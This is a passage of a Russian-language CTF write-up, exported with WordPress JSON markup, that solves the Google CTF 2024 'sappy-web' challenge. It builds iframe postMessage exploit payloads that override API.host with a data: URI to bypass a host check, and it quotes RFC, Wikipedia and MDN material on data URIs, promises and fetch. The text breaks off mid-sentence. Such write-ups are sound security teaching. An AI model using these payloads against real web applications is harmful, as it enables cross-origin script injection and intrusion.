\u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u0431-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 source \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u044d\u0442\u0438\u0445 sink&#8217;\u043e\u0432.<\/p>\n<\/blockquote>\n<p>\u0422.\u0435. \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u043e\u0434\u0430 <code>postMessage()<\/code> \u0432 \u043d\u0430\u0448\u0435\u043c exploit&#8217;\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439:<\/p>\n<ul>\n<li>\n<p>\u041d\u0430\u043b\u0438\u0447\u0438\u0435 event listener&#8217;\u0430 \u0442\u0438\u043f\u0430 &#171;message&#187; \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438<\/p>\n<pre><code class=\"javascript\">addEventListener(\"message\", ...)<\/code><\/pre>\n<\/li>\n<li>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 event&#8217;\u0430<\/p>\n<pre><code class=\"javascript\">addEventListener(\"message\", funciton(event) { eval(event.data); })<\/code><\/pre>\n<\/li>\n<li>\n<p>\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0440 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f iframe&#8217;\u043e\u0432<\/p>\n<ul>\n<li>\n<p>\u0437\u0430\u0433\u043e\u043b\u0432\u043e\u043a <code>X-Frame-Options: DENY<\/code><\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u0422\u043e\u0433\u0434\u0430 \u043d\u0430\u0448 exploit \u043d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 (\u0433\u0430\u0434\u0436\u0435\u0442\u0435) \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code class=\"xml\">&lt;iframe src=\"https:\/\/sappy-web.2024.ctfcompetition.com\/sap.html\" onload=\"this.contentWindow.postMessage('print()','*')\"><\/code><\/pre>\n<h4>\u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 API.host<\/h4>\n<pre><code class=\"javascript\">async (event) => { let data = event.data; if (typeof data !== \"string\") return; data = JSON.parse(data); const method = data.method; switch (method) { case \"initialize\": { if (!data.host) return;   API.host = data.host;   break; }<\/code><\/pre>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c <code>API.host<\/code>, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e, \u0447\u0442\u043e\u0431\u044b source \u0431\u044b\u043b \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 JSON \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u043a\u043b\u044e\u0447\u0438 <code>method<\/code> \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c <code>\"initialize\"<\/code> \u0438 <code>host<\/code> \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c:<\/p>\n<p>\u0422\u043e\u0433\u0434\u0430 exploit \u043d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"xml\">&lt;iframe src=\"https:\/\/sappy-web.2024.ctfcompetition.com\/sap.html\" onload='this.contentWindow.postMessage(\"{\\\"method\\\":\\\"initialize\\\",\\\"host\\\":\\\"...\\\"}\",\"*\")'><\/code><\/pre>\n<h4>\u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 url \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c API.host \u0438 data.page<\/h4>\n<pre><code class=\"json\">const Uri = goog.require(\"goog.Uri\"); ... case \"render\": { if (typeof data.page !== \"string\") return; const url = buildUrl({ host: API.host, page: data.page, }); }  ... function buildUrl(options) { return getHost(options) + \"\/sap\/\" + options.page; } ...  function getHost(options) { if (!options.host) { const u = Uri.parse(document.location); return u.scheme + \":\/\/sappy-web.2024.ctfcompetition.com\"; } return validate(options.host); }<\/code><\/pre>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u043a\u043e\u0434\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>API.host<\/code> \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 <code>\":\/\/sappy-web.2024.ctfcompetition.com\"<\/code>, \u043d\u043e \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0445\u0435\u043c\u044b. <\/p>\n<p>\u0422\u0443\u0442 \u043c\u044b \u0437\u043d\u0430\u043a\u043e\u043c\u0438\u043c\u0441\u044f \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439 data.<\/p>\n<h3>\u0421\u0445\u0435\u043c\u0430 DATA:,<\/h3>\n<p>\u0421 \u043e\u0431\u0449\u0438\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0441\u0445\u0435\u043c\u044b \u043c\u043e\u0436\u043d\u043e \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0438\u0437 RFC.<\/p>\n<p><a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc2397\" rel=\"noopener noreferrer nofollow\">RFC<\/a>:<\/p>\n<pre><code>   Some applications that use URLs also have a need to embed (small)    media type data directly inline. This document defines a new URL    scheme that would work like 'immediate addressing'. The URLs are of    the form:                      data:[&lt;mediatype>][;base64],&lt;data>     The &lt;mediatype> is an Internet media type specification (with    optional parameters.) The appearance of \";base64\" means that the data    is encoded as base64. Without \";base64\", the data (as a sequence of    octets) is represented using ASCII encoding for octets inside the    range of safe URL characters and using the standard %xx hex encoding    of URLs for octets outside that range.  If &lt;mediatype> is omitted, it    defaults to text\/plain;charset=US-ASCII.  As a shorthand,    \"text\/plain\" can be omitted but the charset parameter supplied.<\/code><\/pre>\n<pre><code>   A data URL might be used for arbitrary types of data. The URL                            data:,A%20brief%20note     encodes the text\/plain string \"A brief note\", which might be useful    in a footnote link. <\/code><\/pre>\n<p>\u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/p>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Data_URI_scheme\" rel=\"noopener noreferrer nofollow\">Wiki<\/a>:<\/p>\n<blockquote>\n<p>The minimal data URI is\u00a0<code>data:,<\/code>, consisting of the scheme, no media-type, and zero-length data.<\/p>\n<p>Thus, within the overall URI syntax, a data URI consists of a\u00a0<strong>scheme<\/strong>\u00a0and a\u00a0<strong>path<\/strong>, with no\u00a0<strong>authority<\/strong>\u00a0part,\u00a0<strong>query string<\/strong>, or\u00a0<strong>fragment<\/strong>. The optional\u00a0<strong>media type<\/strong>, the optional\u00a0<strong>base64<\/strong>\u00a0indicator, and the data are all parts of the URI path.<\/p>\n<\/blockquote>\n<p>\u0418\u0437 \u0432\u0441\u0435\u0433\u043e \u0432\u044b\u0448\u0435-\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u043b\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u044c <code>data:{\u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e},{\u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435}<\/code>.<\/p>\n<p>\u0422\u043e\u0433\u0434\u0430 payload \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0433\u0430\u0434\u0436\u0435\u0442\u0430 \u0431\u0443\u0434\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0432\u0438\u0434:<\/p>\n<pre><code class=\"javascript\">data:\/\/sappy-web.2024.ctfcompetition.com\/,{payload}<\/code><\/pre>\n<p>\u0410 exploit \u0431\u0443\u0434\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0432\u0438\u0434:<\/p>\n<pre><code class=\"xml\">&lt;iframe src=\"https:\/\/sappy-web.2024.ctfcompetition.com\/sap.html\" onload='this.contentWindow.postMessage(\"{\\\"method\\\":\\\"initialize\\\",\\\"host\\\":\\\"data:\/\/sappy-web.2024.ctfcompetition.com\/,{payload}\\\"}\",\"*\")'><\/code><\/pre>\n<h4>AJAX \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 url \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c fetch()<\/h4>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043d\u0430\u0434\u043e \u0437\u043d\u0430\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 fetch \u0438 promise.<\/p>\n<h3>Promise<\/h3>\n<p><a href=\"https:\/\/learn.javascript.ru\/promise\" rel=\"noopener noreferrer nofollow\">\u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0443\u0447\u0435\u0431\u043d\u0438\u043a JavaScript<\/a>:<\/p>\n<blockquote>\n<p>Promise \u2013 \u044d\u0442\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0432\u043e\u0451 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u0412\u043d\u0430\u0447\u0430\u043b\u0435\u00a0<code>pending<\/code>(\u00ab\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435\u00bb), \u0437\u0430\u0442\u0435\u043c \u2013 \u043e\u0434\u043d\u043e \u0438\u0437:\u00a0<code>fulfilled<\/code>\u00a0(\u00ab\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u00bb) \u0438\u043b\u0438\u00a0<code>rejected<\/code>\u00a0(\u00ab\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439\u00bb).<br \/> &#8230;<br \/> \u0421\u043f\u043e\u0441\u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u0432 \u043e\u0431\u0449\u0438\u0445 \u0447\u0435\u0440\u0442\u0430\u0445, \u0442\u0430\u043a\u043e\u0439:<\/p>\n<ol>\n<li>\n<p>\u041a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043d\u0430\u0434\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e, \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043e\u0431\u044a\u0435\u043a\u0442\u00a0<code>promise<\/code>\u00a0\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0435\u0433\u043e.<\/p>\n<\/li>\n<li>\n<p>\u0412\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u0434, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u00a0<code>promise<\/code>, \u043d\u0430\u0432\u0435\u0448\u0438\u0432\u0430\u0435\u0442 \u043d\u0430 \u043d\u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438.<\/p>\n<\/li>\n<li>\n<p>\u041f\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442\u00a0<code>promise<\/code>\u00a0\u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u00a0<code>fulfilled<\/code>\u00a0(\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c) \u0438\u043b\u0438\u00a0<code>rejected<\/code>\u00a0(\u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u043e \u0432\u043d\u0435\u0448\u043d\u0435\u043c \u043a\u043e\u0434\u0435.<\/p>\n<\/li>\n<\/ol>\n<\/blockquote>\n<h3>fetch()<\/h3>\n<p><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/fetch\" rel=\"noopener noreferrer nofollow\">MDN<\/a>:<\/p>\n<blockquote>\n<p>The global <code>fetch()<\/code> method starts the process of fetching a resource from the network, returning a promise that is fulfilled once the response is available.<\/p>\n<\/blockquote>\n<p>(\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434): &#171;<em>\u0413\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 <\/em><code>fetch()<\/code><em> \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0438\u0437 \u0441\u0435\u0442\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044f promise, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d (\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 <\/em><code>fulfilled<\/code><em>), \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u0432\u0435\u0442 (Response) \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d<\/em>.&#187;<\/p>\n<blockquote>\n<p>The promise resolves to the <code>Response<\/code> object representing the response to your request.<\/p>\n<\/blockquote>\n<p>(\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434): &#171;<em>Promise \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442\u0441\u044f \u0432 \u043e\u0431\u044a\u0435\u043a\u0442 <\/em><code>Response<\/code><em>, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u0430\u0448 \u0437\u0430\u043f\u0440\u043e\u0441.<\/em>&#171;<\/p>\n<blockquote>\n<p>A <code>fetch()<\/code> promise only rejects when the request fails, for example, because of a badly-formed request URL or a network error. A <code>fetch()<\/code> promise <em>does not<\/em> reject if the server responds with HTTP status codes that indicate errors (<code>404<\/code>, <code>504<\/code>, etc.). Instead, a <code>then()<\/code> handler must check the <code>Response.ok<\/code> and\/or <code>Response.status<\/code> properties.<\/p>\n<\/blockquote>\n<p>(\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434): &#171;<em>Promise <\/em><code>fetch()<\/code><em> \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438\u043b\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438. Promise <\/em><code>fetch()<\/code><em> \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441, \u0435\u0441\u043b\u0438<\/em><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-379564","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/379564","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=379564"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/379564\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=379564"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=379564"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=379564"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}